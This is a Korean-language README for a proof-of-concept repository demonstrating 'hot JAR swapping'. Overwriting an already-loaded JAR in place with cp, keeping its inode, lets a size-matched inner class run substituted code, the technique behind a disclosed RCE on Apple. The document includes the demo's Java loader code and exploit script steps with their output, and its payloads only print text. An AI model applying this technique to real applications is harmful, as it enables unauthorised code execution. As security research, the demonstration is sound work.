
이미 로드된 JAR를 내부 클래스와 함께 교체하고 악용할 수 있는 기능을 보여주는 URLClassLoader JAR-스와핑 데모
다음 예제 코드는 이미 로드된 JAR 파일을 핫 스와핑하고, inode가 변경되지 않는 한 내부 클래스가 호출될 때 여전히 JAR 파일에 접근한다는 점을 악용하여 코드 실행을 얻을 수 있는 기능을 보여줍니다.
MacOS의 OpenJDK에서 테스트되었습니다 (그리고 Transporter를 사용하는 Apple의 Author publisher에서도 악용되었습니다).
NahamCon 2022 EU에서 열린 Frans Rosén의 발표 "Story of a RCE on Apple through hot jar swapping"의 데모입니다.
build-and-run.sh다음과 같이 실행합니다:
./build-and-run.sh
이 스크립트는 다음을 수행합니다:
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar
Bootstrapper는 URLClassLoader를 사용하여 HelloWorld.Main 클래스를 로드하고 실행하며, 이미 로드된 HelloWorld.Secondary 클래스의 hello 메서드를 실행하라는 프롬프트를 표시합니다. 이는 이미 로드된 JAR를 언제 교체할지 제어하기 위한 것입니다.
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
이제 JAR를 교체하지 않고 엔터를 눌러도 됩니다. 이 경우 HelloWorld/Secondary.java의 정상적인 코드 흐름이 표시됩니다:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
This is from the legit postVisitDirectory function:
testdir
End of run, goodbye
exploit.shexploit.sh는 다음을 수행합니다:
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not
HelloWorld.jar를 exploit.jar로 덮어쓸 때 복사 과정이 중요합니다. inode가 변경되면 익스플로잇이 성공하지 않기 때문입니다. mv 명령은 새 inode를 작성하지만, 기존 파일에 cp를 사용하면 그렇지 않습니다. ZIP 추출에서도 같은 일이 발생했는데, 기존 JAR의 inode는 변경되지 않아 익스플로잇이 작동할 수 있었습니다.
핫 JAR 스와핑을 테스트하려면 build-and-run.sh를 실행한 후, 엔터를 누르기 전에 다른 창에서 exploit.sh를 실행하세요:
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
## Run this in a different terminal:
$ ./exploit.sh
NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED
-rw-r--r-- 1 frans staff 2281 Dec 9 13:20 rce.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:20 ../HelloWorld.jar
## Now click enter in the other tab to complete the ./build-and-run.sh)
이제 ./build-and-run.sh에서 엔터를 누르면 교체된 코드가 대신 표시되는 것을 확인할 수 있습니다:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir
End of run, goodbye
이는 URLClassLoader가 교체 전에 이미 JAR를 로드했더라도 내부/익명 클래스가 여전히 물리적 JAR 파일에서 로드된다는 사실을 악용할 수 있음을 보여줍니다.
이 코드 저장소는 몇 가지 전제 조건 하에 이미 로드된 JAR 파일을 덮어써서 코드 실행을 얻을 수 있다는 점을 설명하려고 합니다.
아이디어는 JAR가 처음에 URLClassLoader로 로드된다는 것입니다:
URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
Constructor<?> constructor = beanClass.getConstructor();
Object beanObj = constructor.newInstance();
Method method = beanClass.getMethod("hello");
또한 보조 메서드도 부팅 시 로드되었지만 호출되지는 않았습니다:
// Initiating the secondary class on boot, this is the one we replace the inner class of
Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
Object secondaryObj = secondaryConstructor.newInstance();
Method secondaryMethod = secondaryClass.getMethod("hello");
앱이 실행되는 동안 JAR가 교체되고, 로드되었지만 어떤 메서드도 호출되지 않은 클래스에 내부 클래스도 있다면, 나중에 호출이 발생할 때 새 JAR의 다른 코드를 실행하도록 만들 수 있습니다:
// Invoke secondary class hello that contains an inner class
secondaryMethod.invoke(secondaryObj);
따라서 이 메서드에 내부 클래스(JAR에서 $1.class로 표시됨)가 포함되어 있고, 그 내부 클래스를 동일한 크기와 압축률을 가진 다른 것으로 교체하면 JAR를 핫 스와핑하여 우리 코드를 실행할 수 있습니다.
Exploit/HelloWorld/Secondary.java 파일의 익명 클래스는 내부 클래스 Exploit/HelloWorld/Secondary$1.class로 컴파일되며, 이는 HelloWorld/Secondary.java가 컴파일되고 압축될 때와 동일한 크기와 압축률을 가집니다. 크기나 압축률이 다르면 build-and-run.sh에서 엔터를 클릭했을 때 크래시가 발생합니다.
예를 들어 Exploit/HelloWorld/Secondary.java를 (function: 대신 functionn으로) 변경하면:
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("\nThis is from the legit postVisitDirectory functionn");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
압축 결과는 동일하지만 압축률이 다른 경우입니다:
$ ./exploit.sh
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2280 Dec 9 13:44 exploit.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:44 ../HelloWorld.jar
다음과 같이 표시됩니다:
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Hello from secondary class, here are all files in testdir/
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
at HelloWorld.Secondary.hello(Secondary.java:11)
... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
... 6 more
OpenJDK에서는 원본 크기가 달라도 압축 크기가 같으면 여전히 작동하는 것 같습니다:
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
$ ./exploit.sh
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2281 Dec 9 13:52 exploit.jar
-rw-r--r--@ 1 frans staff 2282 Dec 9 13:52 ../HelloWorld.jar
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir
exploit.sh는 여전히 차이가 있다고 말할 것입니다. 모든 버전에서 작동하지 않을 수 있기 때문입니다.
또한 Exploit/HelloWorld/Secondary.java에서 내부 클래스 외부의 내용을 변경하면, 예를 들어:
System.out.println("\nEnd of run, goodbye");
다음과 같이:
System.out.println("\nEnd of run, goodbya");
그러면 Secondary.class의 압축률과 크기가 동일해지더라도 교체된 내용은 트리거되지 않습니다. 클래스가 이미 URLClassLoader에 의해 로드되었기 때문입니다. 이는 오직 내부 클래스(사용될 때 JAR 파일에서 로드되는 JAR의 $1.class라는 이름의 클래스)에만 영향을 미친다는 것을 확인시켜 줍니다:
End of run, goodbye